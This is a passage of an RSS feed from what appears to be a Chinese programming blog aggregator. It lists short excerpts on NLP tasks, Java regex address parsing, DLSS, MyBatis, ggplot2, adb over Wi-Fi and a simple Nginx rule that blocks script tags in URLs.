      <description>友情提示：本篇文章可能读起来有点晦涩难懂，但读完一定会让你明白NLP是做什么的以及它的使用场景，甚至还能让你走上NLP的道路，且听我来聊聊。&#xA;NLP,是英文Natural Language Processing的缩写，翻译过来叫自然语言处理，是人工智能和语言学领域的分支学科。&#xA;人们自古以来都在和文字打交道，无论是外国的英文还是我们的中文。我们使用文字挺简单的，那么到了计算机时代能不能让计算机也能够理解人所用的文字呢？这便是NLP的由来。&#xA;只说概念可能比较模糊，最好理解NLP的方式就是看它使用的场景，由于NLP覆盖的场景太多了，我这里挑十大任务模式来说下。&#xA;1、分词 凡做NLP的必然会用到分词，将一句话进行一个完美的分词是之后任务的基础，而中文分词比英文分词要困难，英文词汇有空格符分割词的边界，但中文中，却没有类似的方式来区分。目前中文分词做的比较好的比如Jieba、HanLp等。&#xA;2、摘要生成 这个任务主要就是通过建立一个模型来生成关于一段话的摘要。过去常用的是抽取式摘要。把一篇文档看作是许多句子的组成的序列，模型需要从中找出最能熔炼文章大意的句子提取出来作为输出。它相当于是对每个句子做一个二分类，来决定它要不要放入摘要中。但仅仅把每个句子分开来考虑是不够的。我们需要模型输入整篇文章后，再决定哪个句子更重要。这个序列的基本单位是一个句子的表征。而最近更流行的是生成式摘要，模型的输入是一段长文本，输出是短文本。输出的短文本往往会与输入的长文本有很多共用的词汇。这就需要模型在生成的过程中把文章中重要词汇拷贝出来，放到输出中的复制的能力，比如 Pointer Network。&#xA;3、翻译 这个应该很好理解吧，就是把一种语言自动翻译为另一种语言。比如把中文翻译成英文，再把英文翻译成中文。&#xA;4、语法改错 这个任务就是通过搭建一个模型，根据上下文的情境来检测这篇文章中是否有错别字或者语法错误。比如我们在有些平台编辑文章完成后就会出现提示有哪些错别字，就是利用的这种模型。&#xA;5、文本分类 文本分类可以说是NLP非常典型的任务了，文本分类下面又可以衍生出很多任务场景。比如情感分类，就是判断一篇文章是积极向上的还是恶意低俗的，一篇文章会包括正面的词汇和负面的词汇，模型需要根据上下文学到语境中更侧重正面还是负面。再比如事实验证分类，模型需要看一篇新闻文章，判断该文章内容是真的还是假的。&#xA;6、自然语言推断 输入给模型的是一个陈述前提，和一个假设，输出是能否通过前提推出假设，它包含三个类别，分别是矛盾，蕴含和中性。比如前提是，一个人骑在马上跳过一架破旧的飞机，假设是这个人正在吃午餐。这显然是矛盾的。因为前提推不出假设。如果假设是，这个人在户外，在一匹马上。则可以推理出蕴含。再如果假设是这个人正在一个比赛中训练他的马。则推理不能确定，所以是中性的。&#xA;7、搜索引擎 模型的输入是一个关键词或一个问句和一堆文章，输出是每篇文章与该问句的相关性。谷歌有把 BERT 用在搜素引擎上在语义理解上得到了提升。比如搜帮你做美容的人是否经常站着工作。没有 BERT 之前，模型会利用关键词 estheticians 和 stand-alone 做合并结果输出。但有了 BERT 之后，搜出的结果会更倾向于文章语义的理解而非单纯的关键字匹配。&#xA;8、对话机器人 对话机器人可以分成两种，闲聊和任务导向型。闲聊机器人基本上都是在尬聊，有一堆问题待解决，比如角色一致性，多轮会话，对上下文保有记忆等。任务导向的对话机器人能够协助人完成某件事，比如订机票，调闹钟，问天气等。我们需要一个模型把过去已经有的历史对话，统统都输入到一个模型中，这个模型可以输出一个序列当作现在机器的回复。&#xA;9、知识图谱 知识图谱的构建简化地去理解可以看作是实体提取和关系抽取。实体可以是人可以是物，也可以是组织机构，非常灵活。关系可以是人与人的关系，可以是谓语动作，也可以是企业之间的资本流动。信息抽取任务希望从海量文本中自动挖掘出实体关系三元组。这个问题其实非常地复杂。这里只是简单地讲。&#xA;10、实体命名识别 这类任务的主要目的就是从一段文本中提取实体。那什么是实体呢？可以是人名、地名、产品名、公司名等等很多很多。具体提取什么实体需要根据我们的实际业务场景来进行。&#xA;听完上面关于NLP的十大任务场景是不是对NLP就有了一个大概的了解了呢。如果只是了解那就足够，但是如果你想从事NLP工作的话，那只了解是不够的。首先你在学NLP之前还得先学会机器学习和深度学习，而想要学会必须得有线性代数和概率论的基础，所以说大学学好高数很重要啊！&#xA;另外我之前写了个关于NLP入门任务的教程放在github上了，该项目主要是为了完成复旦大学邱锡鹏老师的NLP入门练习以及给想要入门NLP的同学一个教程，看目前获得的star数量还是不旺我的一番心血呀！该项目地址为：https://github.com/Alic-yuan/nlp-beginner-finish&#xA;码字不易，点个赞再走吧！</description>
    </item>
    <item>
      <title>正则表达式获取省市区地址信息</title>
      <link>https://bchobby.github.io/posts/8110744108555946e86ab672305f88b4/</link>
      <pubDate>Wed, 30 Jun 2021 11:07:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8110744108555946e86ab672305f88b4/</guid>
      <description>/** * 解析地址 * @param address * @return */ public static List&amp;lt;Map&amp;lt;String,String&amp;gt;&amp;gt; addressResolution(String address){ /* * java.util.regex是一个用正则表达式所订制的模式来对字符串进行匹配工作的类库包。它包括两个类：Pattern和Matcher Pattern * 一个Pattern是一个正则表达式经编译后的表现模式。 Matcher * 一个Matcher对象是一个状态机器，它依据Pattern对象做为匹配模式对字符串展开匹配检查。 * 首先一个Pattern实例订制了一个所用语法与PERL的类似的正则表达式经编译后的模式，然后一个Matcher实例在这个给定的Pattern实例的模式控制下进行&#x9;*&#x9;字符串的匹配工作。 */ String regex=&#34;(?&amp;lt;province&amp;gt;[^省]+自治区|.*?省|.*?行政区|.*?市)?(?&amp;lt;city&amp;gt;[^市]+自治州|.*?地区|.*?行政单位|.+盟|市辖区|.*?市|.*?县)?(?&amp;lt;county&amp;gt;[^县]+县|.+区|.+市|.+旗|.+海域|.+岛)?(?&amp;lt;town&amp;gt;[^区]+区|.+镇)?(?&amp;lt;village&amp;gt;.*)&#34;; //(?&amp;lt;province&amp;gt;[^省]+自治区|.*?省|.*?行政区|.*?市)?表示一个模块 最后的问号表示可以为空 Matcher m=Pattern.compile(regex).matcher(address); String province=null,city=null,county=null,town=null,village=null; List&amp;lt;Map&amp;lt;String,String&amp;gt;&amp;gt; table=new ArrayList&amp;lt;Map&amp;lt;String,String&amp;gt;&amp;gt;(); Map&amp;lt;String,String&amp;gt; row=null; while(m.find()){ row=new LinkedHashMap&amp;lt;String,String&amp;gt;(); province=m.group(&#34;province&#34;); row.put(&#34;province&#34;, province==null?&#34;&#34;:province.trim()); city=m.group(&#34;city&#34;); row.put(&#34;city&#34;, city==null?&#34;&#34;:city.trim()); county=m.group(&#34;county&#34;); row.put(&#34;county&#34;, county==null?&#34;&#34;:county.trim()); town=m.group(&#34;town&#34;); row.put(&#34;town&#34;, town==null?&#34;&#34;:town.trim()); village=m.group(&#34;village&#34;); row.put(&#34;village&#34;, village==null?&#34;&#34;:village.trim()); table.add(row); } return table; } public static void main(String[] args) { List&amp;lt;Map&amp;lt;String,String&amp;gt;&amp;gt; table = addressResolution(&#34;</description>
    </item>
    <item>
      <title>什么是计算机游戏技术,dlss技术是什么意思有什么用？目前支持dlss的游戏有哪些？...</title>
      <link>https://bchobby.github.io/posts/3bb5fee6a5e1eef2857440faa15da8f5/</link>
      <pubDate>Wed, 30 Jun 2021 01:02:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bb5fee6a5e1eef2857440faa15da8f5/</guid>
      <description>dlss是nvidia在19年初的时候推出的一项技术，其中文名“深度学习超级采样”，今天电脑配置网就来和大家聊聊关于显卡dlss的相关知识。&#xA;DLSS技术是什么意思?DLSS有什么作用?&#xA;dlss是深度学习超采样技术，它依赖的就是Tensor&#xA;Core具备的深度学习能力，使用低分辨率图像(比如1080p)生成高分辨率图像(8K)，再把8K图像缩回4K，得到超级采样抗锯齿(SSAA)图像，以代替传统的时间抗锯齿等技术。&#xA;从dlss的中文名称“深度学习超级采样”顾名思义，简单来说DLSS类似于训练AI，它依赖于Tensor&#xA;Core单元，使其对各种东西的认知得到提高，该技术允许 GPU 利用着色器生成一些像素并借助&#xA;AI“脑补”出其他像素，在保持平滑、清晰画质的同时提高提升渲染分辨率，同时还不会牺牲游戏性能。&#xA;DLSS占用资源小，当使用显卡的DLSS功能后，占用的资源大概是正常渲染1080P的资源。比如你用4K屏幕玩4K画质的游戏，但是显卡的负担并不会很大，因为对显卡来说，它的工作量其实只有1080P那么多。&#xA;什么显卡可以使用dlss技术?目前支持dlss的游戏有哪些?&#xA;dlss是nvida显卡的专有技术，而且目前只能是RTX系列的显卡才支持DLSS，这是因为DLSS技术受限于其中的Tensor&#xA;Core单元，GTX系列的显卡并没有集成这个模块，只有RTX系列显卡才有。所以GTX系列显卡也和DLSS技术无缘了，除非nvida在GTX系列的显卡里也加入Tensor&#xA;Core单元。&#xA;游戏方面，目前为止支持dlss技术的游戏大概有10来款，比如：《战地5》《怪物猎人：世界》《德军总部：新血脉》《古墓丽影：暗影》《飞向月球》《光明记忆》《控制》《最终幻想15》《圣歌》《地铁离去》《逆水寒》……不过随着时间的推移，相信能够支持dlss技术的游戏会越来越多&#xA;更新后的DLSS 2.0版本性能提升空前!&#xA;前边已经说过，dlss是nvidia在19年初的时候退出的一项技术，而就在上个月底(2020年2月底)，DLSS技术赢了更新后的2.0版本。&#xA;其实初代DLSS的表现并不是很理想，虽然开启DLSS后游戏帧数的大幅提升效果虽然被认可，但伴随着帧数提高的却是因为技术不完善而带来的画质缩水现象，跟打了码差不多。&#xA;而这次更新后的DLSS&#xA;2.0版本在效果、集成便利度和效率上面都有较大的提升，可以说这是AI渲染技术的一次巨大飞跃。以RTX2060显卡为例，在某些游戏开启DLSS后，RTX2060显卡甚至能追上未开启DLSS的RTX2080Ti(见上图)。&#xA;总结：&#xA;dlss是N卡专有的一项技术，尤其是最新的2.0版本DLSS，开启后，可以使你的RTX显卡性能成吨的提升，以前只能2080ti才能流畅运行的游戏，现在用RTX2060就能跑起来，当然前提是你所玩的游戏要支持DLSS才行。&#xA;原创文章：dlss技术是什么意思有什么用？目前支持dlss的游戏有哪些？, 如若转载，请注明出处：https://www.safeb.cn/3359.html&#xA;文章均为网络自动采集，如有不适，请联系296649600@qq.com删除</description>
    </item>
    <item>
      <title>生存预测模型样本量计算（完善中）</title>
      <link>https://bchobby.github.io/posts/c4abd036e0354570a7118aee4d72704e/</link>
      <pubDate>Tue, 29 Jun 2021 22:28:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4abd036e0354570a7118aee4d72704e/</guid>
      <description>预测模型的样本量计算一直都是困扰笔者很久的问题&#xA;一般临床预测模型常见的有两类：非时间因素/包含时间因素&#xA;举例来说，非时间因素建模常见于logistic/lasso等回归模型之后，时间因素相关的结局变量常见于cox等模型建模后。&#xA;如果选用logistic模型，可使用的思路为：&#xA;1、根据自变量数目进行预测，根据自变量（即构建模型的自变量）数量，10-20倍区间的样本量均可。具体理论后续补充或完善。&#xA;2、将预测模型视为临床研究的思路，即A模型比B模型能提高结局的预测能力，即在某一类人群中（高危？or 低危？）模型的预测准确度提高了多少。即ROC提高了多少，通过软件ROC可以计算。计算方法 PASS软件可以实现，需强调的是，需要输入阳性与阴性事件发生的概率比值。&#xA;包含时间因素：例如cox等，本身似乎并不存在相应的计算方式，所以不要有太高的指望。有的话请统计大佬不吝赐教。&#xA;考虑到实际应用的问题，将时间因素降维到时间节点后有退化的方式&#xA;包括&#xA;1、特殊事件点的事件预测能力，将时间退化到时间节点后预测ROC的提高程度。&#xA;eg 患者活到3年的概率为（3年OS率），如果从10%提高到20%，需要的样本量是多少，将预测模型作为一个干预变量进行设计。</description>
    </item>
    <item>
      <title>elementUI el-upload上传图片 并使用el-image预览</title>
      <link>https://bchobby.github.io/posts/c86df642839c8df19441ee5fea34ce4e/</link>
      <pubDate>Tue, 29 Jun 2021 15:07:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c86df642839c8df19441ee5fea34ce4e/</guid>
      <description> &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-upload action=&#34;#&#34; list-type=&#34;picture-card&#34; :auto-upload=&#34;false&#34;&amp;gt; &amp;lt;i slot=&#34;default&#34; class=&#34;el-icon-plus&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;div slot=&#34;file&#34; slot-scope=&#34;{file}&#34;&amp;gt; &amp;lt;el-image id=&#34;122&#34; ref=&#34;previewImg&#34; :src=&#34;file.url&#34; :preview-src-list=&#39;imgs&#39;&amp;gt;&amp;lt;/el-image&amp;gt; &amp;lt;span class=&#34;el-upload-list__item-actions&#34;&amp;gt; &amp;lt;span class=&#34;el-upload-list__item-preview&#34; @click=&#34;handlePictureCardPreview(file)&#34;&amp;gt; &amp;lt;i class=&#34;el-icon-zoom-in&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;span class=&#34;el-upload-list__item-delete&#34; @click=&#34;handleRemove(file)&#34;&amp;gt; &amp;lt;i class=&#34;el-icon-delete&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;uploadImgComponent&#34;, components: {}, data() { return { imgs: [&#39;http://**********/img/1.jpeg&#39;] } }, created() { }, methods: { handlePictureCardPreview(file) { // 重点 this.$refs.previewImg.showViewer = true }, handleRemove(file) { } } } &amp;lt;/script&amp;gt; </description>
    </item>
    <item>
      <title>javahome环境变量的作用，最全Java知识总结</title>
      <link>https://bchobby.github.io/posts/a02d840a507ed398ef425bfbd2843a13/</link>
      <pubDate>Tue, 29 Jun 2021 10:04:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a02d840a507ed398ef425bfbd2843a13/</guid>
      <description>阿里的人才画像 其实最近两年自己一直在做面试官，也面试过很多优秀的人，心里大概有一个标准，知道什么样的人才是我们想要的人。&#xA;但是这个标准我一直都没有仔细的去思考过，刚好最近有时间，我好好的思考了一下，根据我的理解，谈一谈我认为的阿里的人才画像是怎样的。&#xA;我觉得阿里需要的人才大概需要具备这几方面的能力：&#xA;1、软件开发能力&#xA;2、架构设计能力&#xA;3、项目管理能力&#xA;4、线上运维能力&#xA;5、业务理解能力&#xA;6、学习能力&#xA;7、影响力&#xA;8、目标导向&#xA;以上，是我认为是一个P6需要具备的能力的几个方面，但是每个方面的能力并不一定要求非常出众，但是有些又很重要。&#xA;到阿里巴巴的招聘网站上，随便找几个P6的岗位，看一下岗位要求：&#xA;￼&#xA;￼&#xA;这些岗位描述和要求里面的内容，基本都能和以上几个能力对应的上：&#xA;负责平台核心功能、公共模块的规划及架构设计，包括系统架构设计、接口规范制定、技术文档、单元测试的编写等； -----&amp;gt; 架构设计能力&#xA;业务模型理解和抽象能力突出，参与科学决策、数字兴业、数字治理等相关系统的架构设计，承担核心模块的代码编写 。 -----&amp;gt; 架构设计能力&#xA;业务理解和建模能力突出，能独立完成系统（或核心模块）的设计、开发和系统维护；-----&amp;gt; 业务理解能力&#xA;扎实的Java/JEE知识基础和功底(重点包括包括JVM、类装载机制、多线程并发、IO、网络等)，有比较优秀的动手能力；-----&amp;gt; 软件开发能力&#xA;扎实的Java编程基础，理解io、反射、多线程、集合等，清楚JVM的原理；-----&amp;gt; 软件开发能力&#xA;熟练掌握主流JAVA框架，并且能了解到它的原理和机制；熟悉MySQL/Oracle数据库中的一种或多种，有一定的SQL性能优化经验；-----&amp;gt; 软件开发能力&#xA;良好的面向对象设计能力，对互联网高并发、高可用和高复用有一定的理解和实践，熟悉分布式技术（包括缓存、消息系统、热部署、JMX等）优先； -----&amp;gt; 软件开发能力&#xA;具有比较强的问题分析和处理能力，有比较优秀的动手能力，热衷技术，精益求精； -----&amp;gt; 线上运维能力&#xA;有强烈的责任心，抗压能力强； -----&amp;gt; 目标导向&#xA;保障数字乡村业务系统的稳定性和项目质量，参与平台核心系统的架构设计。-----&amp;gt; 项目管理能力&#xA;业务理解和学习能力强，善于与商业/合作伙伴交流，有很好的适应和沟通能力，具备责任心、耐心、细心的品质；-----&amp;gt;业务理解能力 、学习能力&#xA;以上的岗位描述中，对于一些能力的描述都是使用了一些形容词或者程度副词，如突出的、扎实的、比较优秀的、熟悉、熟练掌握、比较强的、有强烈的、强、善于、很好的等。&#xA;那么，到底什么样算是优秀？做到什么程度又酸是扎实、熟练能？又要怎么做才能达到突出呢？&#xA;接下来我分别说说对于阿里的P6这个层级，以上这些能力大概需要达到什么样的标准。&#xA;软件开发能力 对于一个程序员来说，软件开发能力当然是一个最最基础的能力了，很多面试主要考察的也都是软件开发能力。&#xA;那么，到底需要掌握哪些知识，才能达到阿里的P6的标准呢？&#xA;在回答这个问题之前，我看了很多大厂的招聘要求，并且回顾了一下以往面试时自己对于候选人的要求，大概总结出一些我认为比较重要的知识点。&#xA;可以说，如果以下这些知识点，候选人不能完全掌握的话，面试挂掉的概率很大。&#xA;1、Java基础。这个是最最基本的，像集合类、IO、反射这些常见的内容一定要做到如数家珍。&#xA;2、并发编程。这个也是面试很看重的知识点，对于线程安全问题、相关关键字的用法及原理、并发包等知识也要掌握。&#xA;3、JVM相关。这部分几乎是面试必考！JVM内存结构、GC相关的、调优、类加载等等这些的原理都要有了解的。&#xA;4、框架相关。目前主流的一些框架一定要了解的，如Spring等开源框架， 要知道用法及重要特性的原理、&#xA;4、分布式相关。这是大厂比较看重的一点了，对于分布式理论知识、缓存、消息、RPC等工具的用法和原理有了解的话，面试会轻松很多。&#xA;5、高并发、高性能方面只是。这部分也是挺重要的。&#xA;6、数据库相关知识。如Mysql的一些知识、锁、隔离级别、事务、索引等等。&#xA;7、数据结构与算法。这部分很多公司喜欢问一些算法题。&#xA;基础篇。掌握70% 底层篇。掌握60% 进阶篇。掌握50% 高级篇。掌握30%&#xA;那么，你的知识面的广度以及深度的话，我认为算是达到了一个相对符合标准的程度。&#xA;架构设计能力 很多人会认为，我只是一个做开发的，又不是架构师，为什么要求我有架构能力呢？</description>
    </item>
    <item>
      <title>HTTP content-type</title>
      <link>https://bchobby.github.io/posts/815128bf0aa68a11bfbcfe09e240a24a/</link>
      <pubDate>Tue, 29 Jun 2021 10:01:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/815128bf0aa68a11bfbcfe09e240a24a/</guid>
      <description> Content-Type（内容类型），一般是指网页中存在的 Content-Type，用于定义网络文件的类型和网页的编码，决定浏览器将以什么形式、什么编码读取这个文件，这就是经常看到一些 PHP 网页点击的结果却是下载一个文件或一张图片的原因。&#xA;Content-Type 标头告诉客户端实际返回的内容的内容类型。&#xA;语法格式：&#xA;Content-Type: text/html; charset=utf-8 常见的媒体格式类型如下：&#xA;text/html ： HTML格式text/plain ：纯文本格式text/xml ： XML格式image/gif ：gif图片格式image/jpeg ：jpg图片格式image/png：png图片格式 以application开头的媒体格式类型：&#xA;application/xhtml+xml ：XHTML格式application/xml： XML数据格式application/atom+xml ：Atom XML聚合格式application/json： JSON数据格式application/pdf：pdf格式application/msword ： Word文档格式application/octet-stream ： 二进制流数据（如常见的文件下载）application/x-www-form-urlencoded ： &amp;lt;form encType=””&amp;gt;中默认的encType，form表单数据被编码为key/value格式发送到服务器（表单默认的提交数据的格式） 另外一种常见的媒体格式是上传文件之时使用的：&#xA;multipart/form-data ： 需要在表单中进行文件上传时，就需要使用该格式 </description>
    </item>
    <item>
      <title>mybatis知识点总结</title>
      <link>https://bchobby.github.io/posts/454890ea38d117670d7a33875f0eebc7/</link>
      <pubDate>Mon, 28 Jun 2021 21:50:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/454890ea38d117670d7a33875f0eebc7/</guid>
      <description>mybatis mybatis简介 MyBatis 是一款优秀的持久层框架①它支持自定义 SQL、存储过程以及高级映射。②MyBatis 免除了几乎所有的 JDBC 代码以及设置参数和获取结果集的工作。③MyBatis 可以通过简单的 XML 或注解来配置和映射原始类型、接口和 Java POJO（Plain Old Java Objects，普通老式 Java 对象）为数据库中的记录。&#xA;mybatis核心配置文件 核心配置文件可以通过不同的标签配置mybayis中的许多内容，如外部引入文件，别名机制，设置，配置数据库环境配置mapper等。分别有如下标签：&#xA;引入文件 properties&#xA;设置 setting&#xA;别名机制 typealiases&#xA;数据库环境 enviroments&#xA;配置mapper mappers&#xA;properties标签详解 properties标签主要用于引入外部peoperties文件，使用resource属性引入。&#xA;eg:&#xA;﻿&#xA;其主要的应用就是从外部引入搭建数据库所需要的环境在下面使用${}符号直接获取，也可在标签中写&#xA;来手动定义属性，但是其优先级不如配置文件高&#xA;setting详解 setting标签主要应用于设置mybatis框架的各种配置例如是否开启缓存，是否使用数据库命名方式和驼峰的转化，是否使用日志文件等&#xA;typealiases详解 typealiases标签是mybatis中的一个别名机制，主要用于给pojo类写别名。由于没有别名的开发中所有pojo都需要写出其完全限定名，不利于开发现在使用这个机制优化。&#xA;其中总共有两个标签package是对一个包中所有类都别名化可以大写也可以小写而typeAlias只对一个类设置别名&#xA;enviroments详解 enviroments是对所使用的数据库驱动用户数据库等数据库环境参数的配置。&#xA;①其中可以使用多套配置环境使用default来指定enviroment的id确定使用哪一套环境&#xA;②transactionManager用于确定使用的是哪个数据库的事务管理器&#xA;③dataSource和property就用于设置参数&#xA;mappers详解 mappers主要用于配置每个mapper.xml的环境路径&#xA;其中mapper标签可以使用class来绑定类（前提是类与xml在同一文件下且同名使用点分割）&#xA;也可以使用resource来配置xml路径使用划线搞&#xA;接口类和mapper.xml mybatis的使用主要猪调用接口和mapper.xml来创建mapper使用mapper来做一个数据库操作。需要注意的是每个mapper.xml都需要一个接口类。而且需要将其配置在核心配置文件中&#xA;mapper.xml和接口的关系 mapper和接口的关系:&#xA;①mapper标签中的namespace属性用于绑定相对应的接口的完全限定名，绑定后相当于该mapper用于实现接口。&#xA;②xml中每个标签的id用于绑定接口中方法名，相当于该标签是该接口方法的实现。&#xA;增删改查实现 增删改查的实现为：&#xA;①在接口中定义增伤改查的方法头&#xA;void addBlog(Blog blog);&#xA;②xml中根据方法头中的信息使用标签实现方法&#xA;insert into blog(id,title,author,create_time,views) values(#{id},#{title},#{author},#{createTime},#{views})&#xA;万能的map 向标签中传递参数的方式有三种：</description>
    </item>
    <item>
      <title>用html代码实现做题记分,html解析cricinfo记分卡</title>
      <link>https://bchobby.github.io/posts/c8fe2ad79d2c984c6705c09fd4e7c1b2/</link>
      <pubDate>Mon, 28 Jun 2021 20:49:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8fe2ad79d2c984c6705c09fd4e7c1b2/</guid>
      <description>慕雪6442864&#xA;对于其他对此感兴趣的人，我最终根据Siddhart Rout的早期答案使用了下面的代码XMLHttp 比自动化快得多 IE代码为每个要下载的系列生成一个CSV文件(保存在X变量中)代码将每个匹配转储到常规的29行范围(无论有多少玩家参与)，以便稍后进行简单的分析 Public Sub PopulateDataSheets_XML()&#xA;Dim URL As String&#xA;Dim ws As Worksheet&#xA;Dim lngRow As Long&#xA;Dim lngRecords As Long&#xA;Dim lngWrite As Long&#xA;Dim lngSpare As Long&#xA;Dim lngInnings As Long&#xA;Dim lngRow1 As Long&#xA;Dim X(1 To 15, 1 To 4) As String&#xA;Dim objFSO As Object&#xA;Dim objTF As Object&#xA;Dim xmlHttp As Object&#xA;Dim htmldoc As HTMLDocument&#xA;Dim htmlbody As htmlbody Dim tbl As HTMLTable</description>
    </item>
    <item>
      <title>数据可视化_科学统计图表9——ggplot2 ：论文级别的柱状图应该如何绘制（设置参数）？</title>
      <link>https://bchobby.github.io/posts/7079fd8083cc43a1f0ac23a20516c03f/</link>
      <pubDate>Mon, 28 Jun 2021 19:36:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7079fd8083cc43a1f0ac23a20516c03f/</guid>
      <description>Ggplot ：论文级别的柱状图应该如何绘制（设置参数）？&#xA;library(ggplot2) data(mpg) #导入展示数据 #原始图片 ggplot(mpg,aes(x = class))+ geom_bar() #加工后图片 ggplot(mpg,aes(x = class))+ geom_bar(width = 0.7, color = &#34;black&#34;,fill = &#34;#565656&#34;,size = 0.8)+ scale_y_continuous(limits = c(0,70),expand = c(0,0))+ coord_fixed(ratio = 7/70)+ theme_bw()+ theme(axis.text.x = element_text(angle = 30,hjust = 1), panel.border = element_blank(), axis.line.x = element_line(), axis.line.y = element_line(), panel.grid.major.x = element_blank(), panel.grid.minor.y = element_blank()) # geom_bar() : # width 设置柱子的宽度 # color 设置柱子边框的颜色 # size 设置柱子边框的粗细 # fill 设置柱子填充的颜色 # # scale_y_continuous() : # limits 设置y轴的范围 # expand 设置柱子底部能够紧贴x轴 # # coord_fixed() : # x/y x为x轴长度，y为y轴长度，此举可设置图片为正方形（无论如何拉扯图片） # # theme() : # axis.</description>
    </item>
    <item>
      <title>iphonex桌面的计算机不见了,iPhone 桌面上找不到应用图标了怎么办？</title>
      <link>https://bchobby.github.io/posts/1d1cddcb260fd226719a7fb23065dc29/</link>
      <pubDate>Mon, 28 Jun 2021 18:11:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d1cddcb260fd226719a7fb23065dc29/</guid>
      <description>iPhone 上下载了很多 App，无法找到对应的 App 图标了怎么办？&#xA;确认应用是否已经下载&#xA;如果是找不到 App，不记得之前是否有卸载，无论是不是 iPhone 自带的 App，都可以在 App Store 输入应用的准确名称来重新下载。&#xA;iOS 12 中可删除的系统自带应用名称如下：&#xA;若您无法重新下载，只有“打开”的选项，则此 App 是已经安装到您设备中了，请回忆下是否之前有进行过隐藏。&#xA;恢复隐藏图标&#xA;在 iOS 11 中，可以通过 Siri 来隐藏图标：&#xA;一只手长按图标，进入【抖动模式】同时另一只手指长按 home 键召唤出 Siri。然后快速将图标拖动到 Siri 界面当中。&#xA;如果想要在手机桌面上恢复这些被隐藏的 App 图标，只需要再次长按图标进入【抖动模式】然后按一下 home 键，这些 App 就被恢复到手机桌面上了。没有 Home 键的 iPhone，在【抖动模式】下按一下手机电源键，关闭屏幕后重新打开，图标就又会重新出现。&#xA;在 iOS 12 中，您可以尝试重启设备来找回被隐藏的图标(iOS 12 隐藏桌面图标教程)。&#xA;如果您之前在【屏幕使用时间】或【访问限制】中，关掉了访问系统应用的权限，那么它也不会显示在桌面上，您可以按如下方法操作：&#xA;iOS 12 或更新系统：在 iPhone 设置中找到【屏幕使用时间】并打开，选择“内容和隐私访问限制”，轻点“允许的应用”,开启您要允许访问的应用即可。&#xA;iOS 11 或更早的系统：打开手机【设置】-【通用】-【访问限制】，输入密码之后，在里面开启您想要显示的应用，或者直接停用“访问限制”功能，在桌面上显示所有的应用图标。&#xA;删除应用重新下载&#xA;此外，若您无法通过以上方式来找回应用图标，可以先在 iPhone 【设置】-【通用】-【iPhone 存储空间】中进行查看，是否有对应的应用，可以先【卸载应用】再重新前往 App Store 进行下载看看。&#xA;需要注意的是，【卸载应用】将会保留应用的文稿和数据，【删除应用】则会清除应用所有的相关数据，且此操作不可撤销。&#xA;还原主屏幕布局&#xA;如果您设备上的应用图标很乱，经常无法找到相关应用，可以打开 iPhone 【设置】-【通用】-【还原】，点击【还原主屏幕布局】。</description>
    </item>
    <item>
      <title>wifi adb</title>
      <link>https://bchobby.github.io/posts/ec46c5a10268346d32a7da78599389bb/</link>
      <pubDate>Mon, 28 Jun 2021 12:03:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec46c5a10268346d32a7da78599389bb/</guid>
      <description>连上usb&#xA;setprop service.adb.tcp.port 5555&#xA;stop adbd&#xA;start adbd&#xA;拔掉usb,取消调试授权&#xA;adb kill-server&#xA;adb start-server&#xA;选中调试授权&#xA;adb connect 192.168.XX.XX:5555&#xA;如果显示如下错误：&#xA;D:\Users\xxxxx&amp;gt;adb devices&#xA;List of devices attached&#xA;192.168.XX.X:5555 unauthorized&#xA;则执行如下操作：&#xA;(1)&#xA;adb_usb.ini文件位置：Win（Users\Administrator.android\）、linux（/root/.android/）&#xA;Win获取VID（USB连接设备以后查看控制面板-&amp;gt;系统-&amp;gt;设备管理器-&amp;gt;Android Phone-&amp;gt;设备名称-&amp;gt;详细信息-&amp;gt;硬件ID-&amp;gt;VID）&#xA;添加VID至adb_usb.ini文件末尾&#xA;重启adb，重新连接后弹出授权提示（如果无效，可以采用重新插拔USB、重启手机或者重启电脑）&#xA;(2) 进入调试模式-》开发者选项，进入开发者模式，然后再取消开发者模式，同时删除.android目录下 adbkey、 adbkey.pub</description>
    </item>
    <item>
      <title>Nginx拦截违法参数或url</title>
      <link>https://bchobby.github.io/posts/2f6e4b77caa78b60484679b863315f8a/</link>
      <pubDate>Mon, 28 Jun 2021 11:18:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f6e4b77caa78b60484679b863315f8a/</guid>
      <description>$request_uri既可以拦截匹配url，也可以匹配参数args。&#xA;$args只可以匹配请求参数。&#xA;因此如果想要区别是参数发生了拦截，还是url发生了拦截，就需要先设置$args，再设置$request_uri。&#xA;location /aa/ { #虚拟主机真正映射路径 default_type text/html; if ($args ~* &#34;%3Cscript%3E&#34;) { return 200 &#39;Bad Args&#39;; } if ($request_uri ~* &#34;%3Cscript%3E&#34;) { return 200 &#39;Bad Url&#39;; } proxy_pass http://8.131.93.189:8080/; } %3Cscript%3E即为&amp;lt;script&amp;gt;，发起url请求时‘&amp;lt;’，’{‘等特殊字符会被转义，因此nginx直接匹配转义后的字符即可。</description>
    </item>
    <item>
      <title>elk 加 Kafka</title>
      <link>https://bchobby.github.io/posts/84459b59852f5e9cad71fbee4ae21eaa/</link>
      <pubDate>Mon, 28 Jun 2021 10:19:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84459b59852f5e9cad71fbee4ae21eaa/</guid>
